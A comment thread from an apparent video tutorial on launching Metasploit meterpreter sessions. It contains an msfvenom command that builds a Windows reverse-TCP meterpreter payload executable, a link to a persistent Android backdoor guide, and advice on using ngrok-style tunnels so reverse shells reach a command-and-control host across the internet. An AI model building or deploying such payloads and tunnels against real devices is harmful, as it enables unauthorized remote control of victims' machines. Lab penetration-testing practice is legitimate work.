Launch an Automated Meterpreter Session

[@mulle5784]

Thank you for not assuming we actually have a clue and taking the time to explain everything so simply!

[@krah8052]

You're welcome.

[@chadurdy7555]

🙈😎🙏🏾🙇🏽‍♂️🙏🏾 YOU ARE THE MAN!!! Thank you thank you thank you Professor K!! So concise and even toned exact presentation of guided steps. Literally from zero to end goal no fluff. Again thank you.

[@chadurdy7555]

And I used windows 10!! As a target vmachine! Such masterful guidance.

[@krah8052]

Thanks!

[@aritmistri8290]

Sir please help me how can i solve my metasploit session closed

[@Dion8-sp3zk]

very clear tutorial! thank you sir.

[@Dede-id4cv]

hello '' [*] Exploit completed, but no session was created. I get the error ' How can I fix it?

[@Krz--ze4tl]

THANK YOU SO MUCH YOU ARE PROFESSIONAL🙏🙏

[@krah8052]

Thank you!

[@mandamiddle0278]

hoooly the voice so american based love that nice video KKONAW

[@ellsi6372]

Thank you professor 🙏

[@Yessir74680]

I launched the meterpreter session and I ran the payload exe file and the meterpreter is taking forever to connect, even after clicking the payload exe file

[@scammersexploited]

How to you upgrade windows shell to meterpreter the msf module shell to meterpreter isn't working is their another module I can use ?

[@musaalom350]

hello professor, I am facing a problem. I want to discuss this with you. How is this possible?

[@lutfianam1889]

how so that when there is a session or target trapped can be directly executed without us having to type?

[@FadiCherif]

It working in my computer only but if any computer open the file it doesnt work

[@EM-do1yi]

thank you for this vid !

[@krah8052]

You're welcome!

[@vivianxia4532]

THANK YOU!!!!

[@felisclarke8090]

Hey professor K i’m new to kali Linux and I’m watching your video on how to open a meterpreter session but.. when I enter the first line of command -f is highlighted red, and does not work. I’m using Root@kali Thanks if you can help

[@krah8052]

Took some troubleshooting but the issue is kali will not accept the syntax for the -f if you copy and paste it into the CLI. You have to type in the entire command one letter at a time. I did confirm that this is the issue. Never had that issue before until the latest Kali update.

[@felisclarke8090]

@@krah8052 thank you for getting back to me, I did type the syntax by hand 1 letter at a time but still doesn’t work I wrote it like this: msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xx LPORT=4444 -f exe -o payload.exe But still -f is highlighted red?

[@felisclarke8090]

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[@krah8052]

@@felisclarke8090 If you type in the command leave the -f as is and you press enter, does the response come back showing a bunch of strange characters? If so, that is because the BASH shell is not taking either the letter - or the letter f using the current source or formatting for your text. It could be your keyboard layout. I've had this problem in the past where I had to open a text editor such as nano and type in the command. Change to the code type to something that the BASH shell would take. I was then able to copy and paste the command into the CLI.

[@felisclarke8090]

@@krah8052 yes when I press enter on the syntax it does not save payload.exe and I get a spam of weird shapes and characters and symbols? Very strange

[@felisclarke8090]

Ls-l is also saids command not found, any help would be greatly appreciated

[@krah8052]

You fat-fingered the syntax. You are missing the space between the letter s and the -I like so, ls -I.

[@doomgloom7850]

Can u make tutorial on persitence payload on android?

[@krah8052]

pengs.win/how-to-make-a-persistent-android-backdoor-using-metasploit/

[@doomgloom7850]

@@krah8052 have tried it thousands times. Didnt work

[@krah8052]

@@doomgloom7850 That's why I don't bother with making the lab. Most of the tutorials on the subject take you to the 99-yard line and drop off without crossing the finish line or completing the hack. Either that or they demonstrate the hack using an internal network. Hackersploit and other like channels don't bother with these types of labs because of the difficulty in getting them to work. Getting a reverse shell from a phone without first going through a web server on the Internet is not going to work. That's where this type of hack breaks down. The command and control to receive the reverse shell must be available on the Internet. If you are sitting behind a NAT network or a firewall, the hack will not work. For this, you would first need to direct the response from the phone to a secure tunnel on the Internet. You could then access the tunnel using a web page. ngrok.com/ tunnel.staqlab.com/ I demonstrate this in the following lab using a simple reverse shell. www.dropbox.com/s/thwrdy0bmayabno/Lab%20%20-%20Accessing%20Kali%20Across%20the%20WAN%20with%20NGROK.pdf?dl=0 kzbin.info/www/bejne/pqi3o4l3YriNgM0

[@doomgloom7850]

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